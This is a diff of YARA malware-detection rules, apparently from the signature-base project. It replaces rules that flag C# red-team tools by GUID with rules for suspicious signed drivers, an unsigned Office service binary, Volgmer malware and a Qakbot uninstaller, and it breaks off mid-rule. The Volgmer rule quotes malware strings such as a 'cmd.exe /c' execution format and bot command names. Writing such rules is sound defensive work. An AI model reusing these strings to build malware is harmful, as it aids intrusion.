-rule SIGNATURE_BASE_HKTL_NET_GUID_Lime_Crypter : FILE
+rule SIGNATURE_BASE_SUSP_Unsigned_OSPPSVC : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "484c7a15-7ab2-57d3-848c-0fddff753d52"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/Lime-Crypter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1933-L1947"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "45a47b8ed17b157e22e6819f08a245aca2930d276b52d781fbbc82bcfb184ab4"
-		score = 75
+		description = "Detects a suspicious unsigned office software protection platform service binary"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0e312237-0c82-59da-b62d-56065c6075f0"
+		date = "2019-09-26"
+		modified = "2023-12-05"
+		reference = "https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_sign_anomalies.yar#L4-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "27d8d8d19e25a2e3cffb765a0b3122e38dcb72d60c00c554163ee193a04b3d82"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5294a730f1f0a176583b9ca2b988b3f5ec65dad8c6ebe556b5135566f2c16a56"
 
 	strings:
-		$typelibguid0lo = "f93c99ed-28c9-48c5-bb90-dd98f18285a6" ascii wide
-		$typelibguid0up = "F93C99ED-28C9-48C5-BB90-DD98F18285A6" ascii wide
+		$sc1 = { 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63
+               00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00
+               00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
+               00 66 00 74 00 20 00 4F 00 66 00 66 00 69 00 63
+               00 65 00 20 00 53 00 6F 00 66 00 74 00 77 00 61
+               00 72 00 65 00 20 00 50 00 72 00 6F 00 74 00 65
+               00 63 00 74 00 69 00 6F 00 6E 00 20 00 50 00 6C
+               00 61 00 74 00 66 00 6F 00 72 00 6D 00 20 00 53
+               00 65 00 72 00 76 00 69 00 63 00 65 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <8000KB and $sc1 and pe.number_of_signatures<1
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Browserghost : FILE
+rule SIGNATURE_BASE_SUSP_PE_Signed_By_Suspicious_Entitiy_Mar23 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Find driver signed by suspicious company (see references)"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "adcc5d12-c393-5708-ae0b-a85f2187c881"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/QAX-A-Team/BrowserGhost"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1949-L1965"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1f9bdf4881a71c429cf20e7a635f054a4a340f335767cb22ecc8024bcc57e53b"
-		score = 75
+		id = "13151f9b-22cb-551f-81b4-a60a301f0bfc"
+		date = "2023-03-06"
+		modified = "2023-12-05"
+		reference = "https://www.sentinelone.com/labs/driving-through-defenses-targeted-attacks-leverage-signed-malicious-microsoft-drivers/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_sign_anomalies.yar#L28-L214"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2fb7a38e69a88e3da8fece4c6a1a81842c1be6ae9d6ac299afa4aef4eb55fd4b"
+		hash = "9a24befcc0c0926abb49d43174fe25c2469cca06d6ab3b5000d7c9d434c42fe9"
+		hash = "9ad716f0173489e74fefe086000dfbea9dc093b1c3460bed9cdb82f923073806"
+		hash = "a007c8c6c1aecfff1065429fef691e7ae1c0ce20012a113f01ac57c61564a627"
+		hash = "fbe82a21939d04735aa3bbf23fbabd45ac491a143396e8e62ee20509c1257918"
+		hash = "d12c6ea0a86c58ea2d80d1dc9b793ba28a0db92c72bb5b6f4ee2b800fe42091b"
+		hash = "4cf31d000f1542690cbc0ace41e4166651a71747978dc408e3cce32e82713917"
+		hash = "e1adaea335b20d4d2e351f7bea496cd40cb379376900434866db342f851d9ddf"
+		hash = "031408cf2f2c282bcc05066356fcc2bb862b7e3c504ab7ffb0220bea341404a5"
+		hash = "2f13d4e1bd35f6c0ad0978af19006c17193cf3d42b71cba763cca68f7e9d7fca"
+		hash = "cb40a5dc4f6a27b1dc50176770026b827f8baa05fa95a98a4e880652f6729d96"
+		hash = "a7591b7384bd10eb934f0dac8dcbfdff8c352eba2309f4d75553567fa2376efa"
+		hash = "d517ce5f132b3274f0b9783a5b0c37d1d648e6079874960af24ca764b011c042"
+		hash = "aeec903013d5b66f0ae1c6fa50bb892759149c1cec86db8089a4e60482e02250"
+		hash = "0d22828724cb7fbc6cef7f98665d020867d2eb801cff2c21f2e97e481040499b"
+		hash = "4b2e874d51d332fd840dadd463a393f9f019de46e49de73be910b9b1365e4e4e"
+		hash = "3839c0925acf836238ba9a0c5798b84b1c089a8353cc27ae7e6b75d273b539e3"
+		hash = "c470f519fb0d4a2862035e0d9e105a0a6918adc51842b12ad14b5b5f34879963"
+		hash = "cc6d174bc86f84f5a4c516e9c04947e2fecc0509a84748ea80576aeee5950aed"
+		hash = "6fe8df70254f9b5f53452815f0163cb2ffb2d7f0f5aefbb9b149ad1be9284e31"
+		hash = "4cde473fb68fa9b2709ea8a23349cd2fce8b8b3991b9fea12f95d12292b8aa7a"
+		hash = "e2c40c8dd60bb395807c39c76bfdf5cd158ebefd2a47ad3306a96662c50057c0"
+		hash = "9c12b09b529fa517eaeb49df22527d7563b5432d62776166048d97f83b2dce5c"
+		hash = "5a4e17287f3dceb5bf1ed411e5fdd7e8692aebf2a19b334327733fc1c158b0ba"
+		hash = "c42964aa7fa354b1a285bdbcbd9e84b6bdd8813ff9361955e0e455d032803cce"
+		hash = "ffd6955bf40957a35901d82fd5b96d0cb191b651d3eca7afa779eebfed0d9f7e"
+		hash = "f6874335eb0d611d47b2ec99a6b70f7b373a50d8d1f62d290b06174f42279f36"
+		hash = "4e6d7fd70a143f19429fead2c14779aea9d9140e270bb9e91e47fa601643e40e"
+		hash = "7b0e4aae37660b1099de69f4c14f5d976f260c64a4af8495ff1415512a6268ba"
+		hash = "db45cbfb094f3e1ebf1cb3880087a24d4e771cc43ba48ad373e6283cbe7391da"
+		hash = "813edc804f59a97ec9391ea0db4b779443bd8daf1e64c622b5e3c9a22ee9c2e0"
+		hash = "8d66a4b7c2ae468390d32e5e70b3f9b7cb796b54b7c404cde038de9786be8d1d"
+		hash = "85936141f0f32cf8f3173655e7200236d1fce6ef9c2616fd2b19ae7951c644c5"
+		hash = "b5fc0cc9980fc594a18682d2b0d5b0d0f19ba7a35d35106693a78f4aaba346ac"
+		hash = "7aae36c5ffa8baaab19724dae051673ddafd36107cb61c505926bfceaadcd516"
+		hash = "5d0228a0d321e2ddac5502da04ca7a2b2744f3dc1382daa5f02faa9da5aface1"
+		hash = "2af1ac8bc8ae8d7cad703d2695f2f6c6d79b82eebba01253a8ec527e11e83fcd"
+		hash = "c8f9e1ad7b8cce62fba349a00bc168c849d42cfb2ca5b2c6cc4b51d054e0c497"
+		hash = "0e339c9c8a6702b32ee9f2915512cbeb3391ced74b16c7e0aed9b1a80c9e58c8"
+		hash = "80bdeaa4f162c65722b700e4ffba31701d0d634f5533e59bf3885dc67ee92f3f"
+		hash = "4570f64f2000bdaf53aec0fc2214c8bd54e0f5cb75987cdf1f8bda6ea5fc4c43"
+		hash = "a9c906bde6c8a693d5d46c9922dafa2dfd2dec0fff554f3f6a953c2e36d3f7b7"
+		hash = "520df3ddd7c9ecdeecac8e443d75ac258c26b45d37ecec22501afdda797f6a0a"
+		hash = "4d3e0f27a7bcfd4b442b489c63641af22285ca41c6d56ac1db734196ab10b315"
+		hash = "5000b3b1d593ba40cc10098644af1551259590ac67d3726fab2be87aad460877"
+		hash = "7c27bd6104fc67dd16e655f3bf67c2abd8b5bf2a693ba714ac86904c5765b316"
+		hash = "34b1234eab7ff10edde9e09ecf73c5e4bfe9ee047ccfdb43de1e1f6155afad0c"
+		hash = "f6fe2cc9ea31f85273c26e84422137df21cfce4b9e972b0db94fe3a67b54f6ca"
+		hash = "ec4d0828196926bd36325f4b021895d37cfaaa024f754b36618c78b2574f0122"
+		hash = "2a89f263d85da8fb0c934d287b5b524744479741491c740aaa46ac9f694f6d1b"
+		hash = "c8d0122974fc10a7d82c62f3e6573a94379c026dd741fd73497afdf36d3929be"
+		hash = "0345f71876bc4c888deadba7284565a8da112901f343e54b8522279968abd1b2"
+		hash = "6c0e10650be9e795dc6adfbe8aad8c1c3a8657e4c45cb82a7d5188ee24021ca0"
+		hash = "90b8d9c4ff3e4e0a0342e0d91da3a25be2fead29f3b32888bb35f8575845259d"
+		hash = "0310400c9e62c3fe08dc6506313e26f7c5c89035c81b0141ce57543910c1c42e"
+		hash = "b0da0316443f878aad0b3d9764b631d5df60e119ab59324c37640da1b431893a"
+		hash = "cc4bd06f27a5f266bc8825a08e5f45dcaa4352eb6d69214b5037d28cc8de6908"
+		hash = "2d4b7c6931203923db9a07e1ac92124e799f3747ab20e95e191e99c7b98f3fbd"
+		hash = "b5965de0d883fd0602037f3dc26fd4461e6328612f1a34798cff0066142e13c4"
+		hash = "86ce17183ddf32379db53ecaedefe0811252165b05cd326025bb8eca2e6a25d7"
+		hash = "6edca16d5aa751aa4c212e6477121d51e4d9b9432896d25b41938a27a554bbe7"
+		hash = "cdd8966e0cf08a6578e34de7498a44413a6adabae04d81ef3129f26305966db2"
+		hash = "df890974589ed2435f53b8c8f147a06752f1b37404afd4431362c1938fcb451e"
+		hash = "3e05d8abaaa95af359e5b09efb30546d0aa693859ebc8a0970a2641556ea644c"
+		hash = "1c8ddf4b9c99c8f1945abf1527c7fa93141430680ac156a405d9a927d32f3b5e"
+		hash = "5d2ed5930ab1a650f9fb9293f49a9f35737139fdfa9f14e46a07e5d4d721ae3e"
+		hash = "18834de3e4844a418970c2184cc78c2d7cb61d18e9f7c7c0e88e994b4212edc5"
+		hash = "a6b6fc94d8e582059af0fe30c2c93c687fccd5a0073a6a26a2cd097ea96adc7c"
+		hash = "28b40fa160c915f13f046d36725c055d6c827a4d28674ea33c75a9b410321290"
+		hash = "efab0fbf77dc67a792efd1fe2b3f46bbdfdee30a9321acc189c53a6c5e90f05c"
+		hash = "348781221d1a2886923de089d1b7b12c32cfdd38628b71203da925b5736561e9"
+		hash = "a1a5f410e6eab2445d64bfcd742fe1a802a0a2d9af45c7ab398f84894dd5dc3d"
+		hash = "9de05ce0d9e9de05ebdc2859a5156f044f98bb180723f427a779d36b1913e5d3"
+		hash = "eeff7e85c50a7f11fc8a99f7048953719fb1d2a6451161a0796eac43119ece21"
+		hash = "383cc025800a3b3d089f7697e78fe4d5695a8d1ee26dcad0b0956ad6800ccae4"
+		hash = "41be6f393cea4d8d5869fff526c4d75ec66c855f7e9c176042c39b9682ea9c14"
+		hash = "71552e65433c8bbf14e5bcbc35a708bc10d6fded740c5f4783edce84aea4aabf"
+		hash = "3c1b3e8666b58a78c70f36ed557c7ecc52e84457e87e5884b42e5cd9e8c1a303"
+		hash = "4288d7113031151a2636a164c0dc6fce78c86f322271afec9ef2d4b54494c334"
+		hash = "f73a39332be393a9bc23ec27ff6d025bc90d7320dde97f37cc585ecf6c0436a2"
+		hash = "018f5103635992aa9ddc1c46cafe2b7ba659fcfbc8f8ab29dcea28e155b033ee"
+		hash = "fe650fc138dcfbbd4ab6aa5718bf3cd36f50898ae19d3aceaa12f7d4f39d0b43"
+		hash = "fa21b39cd5a24ba35433e90cae486454b7400b50e7f7f5c190fdbec6704b4352"
+		hash = "3dd36c798cc89bfad7cdbf58d7da90ba113fe043ca46bdbcab7ae7fb9dc2f42b"
+		hash = "674f4444f0de5c81c766c376a65fbdf1f7116228a61c71ffb504995c9e160183"
+		hash = "cd3d25b2842bb2d6a5580f72e819acd344ce7f3a2478fb6d53ff668ad6531228"
+		hash = "1668f4eb8a85914db46ff308b9f8a5040a024acc93259dfc004ea2b80ab6bcf1"
+		hash = "4f31cab6c011b79bf862bb6acea3086308b0576afe33affdb09039c97e723beb"
+		hash = "6b0ff48b8113076d2875edb7bea7f120b7b9d9a990ae296a5b5a95660ae7edfc"
+		hash = "956a00dd6382e83d3f7490378ae98e4fc8d9b8ec2cd549519f007091e3ccce1f"
+		hash = "8c7f938cf55728d8d41a7fa6b9953c4f81cf05ed3d7b7435ec8999e130257f7f"
+		hash = "427ee4d4d18fc0c1196326215e94947f7d8c03794de36d0127231690bf5bf3c0"
+		hash = "b6f3ece5bf7b9f6ecf99104d3c76b9007106fad98d20500956dd1e42d4ec5e8d"
+		hash = "47a0ad6150c5a1de4c788827662a9cafbd2816a7d32be2028721e49a464acbed"
+		hash = "8743ac81384fd10c0459f3574489d626e13c95dd73274dcf1d872bcd3630b9e8"
+		hash = "a1755415a12f85bea3f65807860f902cf41e56b0ab2c155ac742af3166ef1dfd"
+		hash = "3f5a91500bfade2d9708e1fbe76ae81dacdb7b0f65f335fee598546ccfc267e3"
+		hash = "5be43b773dbde6542d6a0d53cd6616ea95a49dd38659edc6ba0d580a0d9777ab"
+		hash = "90e080a63916c768b0b65787fe5695fd903d44e1b0b688d06c14988ba30b5ea7"
+		hash = "d1184ee3f26919b8f5a4b1a6d089f14e79e0c89260590156111f72a979c8e446"
+		hash = "c13ddd2bafcfdfc00fb5cb87d8eb533ae094b0dd5784df77c98bddeac9d72725"
+		hash = "9bb3035610bd09ba769c0335f23f98dd85c2f32351cdd907d4761b41ab5d099c"
+		hash = "1703025c4aed71d0ca29a3cd0e15047c24cc9adbb5239765f63e205ef7d65753"
+		hash = "948d47b9386b2b3247b7e9796ab2f2078889264559ad04ccd9362b03dbbf8534"
+		hash = "edd527d978b591d146d24d075bb4c24177e0eca6a27b5d92f35be68635cc3767"
+		hash = "c642dc125fbd83e004d2c527933996589e0fcad06313a5a56679a265b8966529"
+		hash = "cfa3a48bf0c683834d1d198a653ebced8a8faae9d0cbb38f3e859b45da81d554"
+		hash = "bb8f5d123aebdde5542724db5be8430d62a80f86f590a272aac9087d097f395c"
+		hash = "e41e10673db41b13ba17c828beb94fc39e8d3aa43b01f9fe437a2f6e0b8ae443"
+		hash = "a132e31db9f9761d6bd2c375415e615bb0a548fb02c4fd6373e9f7d1568de1dc"
+		hash = "5084c6e20b88adeea6a28508cf172048d7cf20adeaa52abdd361fc2207411055"
+		hash = "525320e3631a23a3286481710533ba15cd6268ee10be98962a55e2afead1ffbf"
+		hash = "16c74f288f4f929e74cd8e16443303aec3a64cfef64aabc14553f4c1e58c9ede"
+		hash = "4b482ebf88bcb55e7b0769690ccca4d08856c879af82ad7165436b82a315d742"
+		hash = "79c9acadd99ab1251dbba3bff7d0b67de4252f913f485465d63f4f0c4d9a6419"
+		hash = "9bcc3f36c32e3efbf8bdcba7670658042db65dd617dad0709d92c554ba841b57"
+		hash = "5654ed1205de6860e66383a27231e4ac2bb7639b07504121d313a8503ece3305"
+		hash = "5d1e3c495d08982459b4bd4fd2ab073ed2078fce9347627718a7c25adee152e9"
+		hash = "458702ae1b2ef8a113344be76af185ee137b7aac3646ece626d2eeeadcc9e003"
+		hash = "2c703e562a6266175379fa48f06f58aab109dbe56e0cde24b4b0db5f22f810a3"
+		hash = "49faf70c0978c21a68bc8395cf326f50c491e379f55b5df7d17f0af953861ece"
+		hash = "a2b16bbef0a7cb545597828466cd13225efaba6e7006bfbf59040bbff54c463c"
+		hash = "b08449d42f140c7e4d070c5f81ce7509f48282a5bb0e06948b7ed65053696a37"
+		hash = "c1633ad8c9e6c2b4cc23578655fc6cf5cd0122cfd24395d1551af1d092f89db2"
+		hash = "01f42f949a37d9d479b8021f27dcf0d0e6f0b0b6cd2e0883c6b4b494f0a1d32a"
+		hash = "4943d53a38ac123ed7c04ad44742a67ea06bb54ea02fa241d9c4ebadab4cb99a"
+		hash = "597ce12c9fbecc71299ba6fc3e4df36cc49222878d0e080c4c35bbfdffd30083"
+		hash = "0265fbd9cfc27c26c42374fce7cf0ef11f38e086308d51648b45f040d767c51d"
+		hash = "0dc92a1a6fd27144b3e35a9900038653892d25c2db8ede8b9e0aee04839f165a"
+		hash = "682582c324cb1eafacf80090f6108c1580fee12dbfdfe8b51771d429fdcce718"
+		hash = "e9e6f6e22b5924f80164fbad45be28299e9ec0bd2f404551b6ca772509a7135a"
+		hash = "a8db750f82906fb9cf9fb371ec65be76275d9b81b95e351fcb3db4ef345884ab"
+		hash = "e900b4016177259d07011139a55c0571c1e824fb7e9dddc11df493b3c8209173"
+		hash = "f8a7a26d51a5e938325deee86cbf5aa8263d3a50818c15d5a395b98658630c18"
+		hash = "861b87fc6c4758cfe1e26c7a038cffb64054ad633b7ea81319c9a98b7b49df0d"
+		hash = "848fdb491307ed7b002dbdf99796df2b286d53b2e0066d78f3554f2f38a2c438"
+		hash = "4b0c05bc33c9e7d0ed2d97dbefb6292469b9d74d650d5cfb2691345a11c0f54a"
+		hash = "948d47b9386b2b3247b7e9796ab2f2078889264559ad04ccd9362b03dbbf8534"
+		hash = "edd527d978b591d146d24d075bb4c24177e0eca6a27b5d92f35be68635cc3767"
+		hash = "c642dc125fbd83e004d2c527933996589e0fcad06313a5a56679a265b8966529"
+		hash = "cfa3a48bf0c683834d1d198a653ebced8a8faae9d0cbb38f3e859b45da81d554"
+		hash = "bb8f5d123aebdde5542724db5be8430d62a80f86f590a272aac9087d097f395c"
+		hash = "e41e10673db41b13ba17c828beb94fc39e8d3aa43b01f9fe437a2f6e0b8ae443"
+		hash = "a132e31db9f9761d6bd2c375415e615bb0a548fb02c4fd6373e9f7d1568de1dc"
+		hash = "5084c6e20b88adeea6a28508cf172048d7cf20adeaa52abdd361fc2207411055"
+		hash = "525320e3631a23a3286481710533ba15cd6268ee10be98962a55e2afead1ffbf"
+		hash = "16c74f288f4f929e74cd8e16443303aec3a64cfef64aabc14553f4c1e58c9ede"
+		hash = "4b482ebf88bcb55e7b0769690ccca4d08856c879af82ad7165436b82a315d742"
+		hash = "79c9acadd99ab1251dbba3bff7d0b67de4252f913f485465d63f4f0c4d9a6419"
+		hash = "9bcc3f36c32e3efbf8bdcba7670658042db65dd617dad0709d92c554ba841b57"
+		logic_hash = "68c3f2c97a8eab3d334222eae4c4b808e6b763896f198d033f4d11218e9ff551"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
 
 	strings:
-		$typelibguid0lo = "2133c634-4139-466e-8983-9a23ec99e01b" ascii wide
-		$typelibguid0up = "2133C634-4139-466E-8983-9A23EC99E01B" ascii wide
+		$cert1 = "91210242MA0YGH36" wide ascii
+		$cert2 = "Copyright (C) 2013-2021 QuickZip. All rights reserved." wide ascii
+		$cert3 = "Qi Lijun" wide ascii
+		$cert4 = {51 00 69 00 20 00 4c 00 69 00 6a 00 75 00 6e}
+		$cert5 = "Luck Bigger Technology Co., Ltd" wide ascii
+		$cert6 = {4c 00 75 00 63 00 6b 00 20 00 42 00 69 00 67 00 67 00 65 00 72 00 20 00 54 00 65 00 63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 79 00 20 00 43 00 6f 00 2e 00 2c 00 20 00 4c 00 74 00 64 }
+		$cert7 = "XinSing Network Service Co., Ltd" wide ascii
+		$cert8 = "Hangzhou Shunwang Technology Co.,Ltd" wide ascii
+		$cert9 = "Zhuhai liancheng Technology Co., Ltd." wide ascii
+		$cert10 = { e5 a4 a7 e8 bf 9e e7 ba b5 e6 a2 a6 e7 bd 91 e7 bb 9c e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
+		$cert11 = { e5 8c 97 e4 ba ac e5 bc 98 e9 81 93 e9 95 bf e5 85 b4 e5 9b bd e9 99 85 e8 b4 b8 e6 98 93 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
+		$cert12 = { e7 a6 8f e5 bb ba e5 a5 a5 e5 88 9b e4 ba 92 e5 a8 b1 e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
+		$cert13 = { e5 8e a6 e9 97 a8 e6 81 92 e4 bf a1 e5 8d 93 e8 b6 8a e7 bd 91 e7 bb 9c e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 0a }
+		$cert14 = { e5 a4 a7 e8 bf 9e e7 ba b5 e6 a2 a6 e7 bd 91 e7 bb 9c e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them and not pe.is_dll()
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <20MB and any of ($cert*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpshot : FILE
+rule SIGNATURE_BASE_TA17_318B_Volgmer : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "9d59cd53-53b1-57db-b391-eee4dd6feec0"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/tothi/SharpShot"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1967-L1981"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "843e7bb327314749a58e3d44356fcd9d7a2c349cb429f5bc593044894f17a15c"
+		description = "Malformed User Agent in Volgmer malware"
+		author = "US CERT"
+		id = "20a7f64b-0fee-5235-ac91-2fc811497ac6"
+		date = "2017-11-15"
+		modified = "2023-12-05"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_318B.yar#L9-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2b3a7e501214767b7d79b33fb560b5611fa3726036a0c98d6f1904a55f306e40"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "057aef75-861b-4e4b-a372-cfbd8322c8e1" ascii wide
-		$typelibguid0up = "057AEF75-861B-4E4B-A372-CFBD8322C8E1" ascii wide
+		$s = "Mozillar/"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $s
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Offensive__NET : FILE
+rule SIGNATURE_BASE_Volgmer_Malware : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b98495fb-0338-5042-a7ce-d117204eb91e"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/mrjamiebowman/Offensive-.NET"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1983-L1997"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c26d29934fe3f7575ce1cd56bcf2571e95d5705bccdb1ca211ca7d46765d0fb4"
+		description = "Detects Volgmer malware as reported in US CERT TA17-318B"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a8df5f70-69e7-5c95-8af7-7dda6bb9c77a"
+		date = "2017-11-15"
+		modified = "2023-12-05"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_318B.yar#L34-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "898c2734c56a40aa4d24c1eac2dfb7dd1f98b0bdf7a11ab518eef282becb84b6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ff2eb800ff16745fc13c216ff6d5cc2de99466244393f67ab6ea6f8189ae01dd"
+		hash2 = "8fcd303e22b84d7d61768d4efa5308577a09cc45697f7f54be4e528bbb39435b"
+		hash3 = "eff3e37d0406c818e3430068d90e7ed2f594faa6bb146ab0a1c00a2f4a4809a5"
+		hash4 = "e40a46e95ef792cf20d5c14a9ad0b3a95c6252f96654f392b4bc6180565b7b11"
+		hash5 = "6dae368eecbcc10266bba32776c40d9ffa5b50d7f6199a9b6c31d40dfe7877d1"
+		hash6 = "fee0081df5ca6a21953f3a633f2f64b7c0701977623d3a4ec36fff282ffe73b9"
+		hash7 = "53e9bca505652ef23477e105e6985102a45d9a14e5316d140752df6f3ef43d2d"
+		hash8 = "1d0999ba3217cbdb0cc85403ef75587f747556a97dee7c2616e28866db932a0d"
 
 	strings:
-		$typelibguid0lo = "11fe5fae-b7c1-484a-b162-d5578a802c9c" ascii wide
-		$typelibguid0up = "11FE5FAE-B7C1-484A-B162-D5578A802C9C" ascii wide
+		$x1 = "User-Agent: Mozillar/5.0" fullword ascii
+		$x2 = "[Cmd] - CMD_BOTCMD_CONNLOG_GET" fullword wide
+		$x3 = "[TestConnect To Bot] - Port = %d" fullword ascii
+		$x4 = "b50a338264226b6d57c1936d9db140ba74a28930270a083353645a9b518661f4fcea160d7" ascii
+		$s1 = "%sigfx%c%c%c.exe" fullword wide
+		$s2 = "H_%s_%016I64X_%04d%02d%02d%02d%02d%02d.TXT" fullword ascii
+		$s3 = "cmd.exe /c %s > %s 2>&1" fullword wide
+		$s4 = "%s\\dllcache\\%s.dll" fullword ascii
+		$s5 = "Cond Fail." fullword ascii
+		$s6 = "The %s %s%s" fullword ascii
+		$s7 = "%s \"%s\"%s \"%s\" %s \"%s\"" fullword ascii
+		$s8 = "DLL_Spider.dll" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <400KB and (1 of ($x*) or ( uint16(0)==0x5a4d and 2 of them )) or ( uint16(0)==0x5a4d and pe.imphash()=="ea42395e901b33bad504798e0f0fd74b")
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Ruralbishop : FILE
+rule SIGNATURE_BASE_SUSP_Qakbot_Uninstaller_Shellcode_Aug23
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8fd89465-1ecc-5eda-b2ab-273172ad945d"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/rasta-mouse/RuralBishop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1999-L2013"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ee349395cbb2c692afcbdd0a6bce52d19762ec45b64cca684b60b148a1edd2d5"
-		score = 75
+		description = "Detects Qakbot Uninstaller files used by the FBI and Dutch National Police in a disruption operation against the Qakbot in August 2023"
+		author = "Florian Roth"
+		id = "860796ab-689f-5c5f-bc40-3e2ef7fd1d5d"
+		date = "2023-08-30"
+		modified = "2023-12-05"
+		reference = "https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_qakbot_uninstaller.yar#L2-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "91d26c50bf29517aa68e709ca3b6f32f4ca390f4c2f48e48cd251bfdd5dbcc71"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
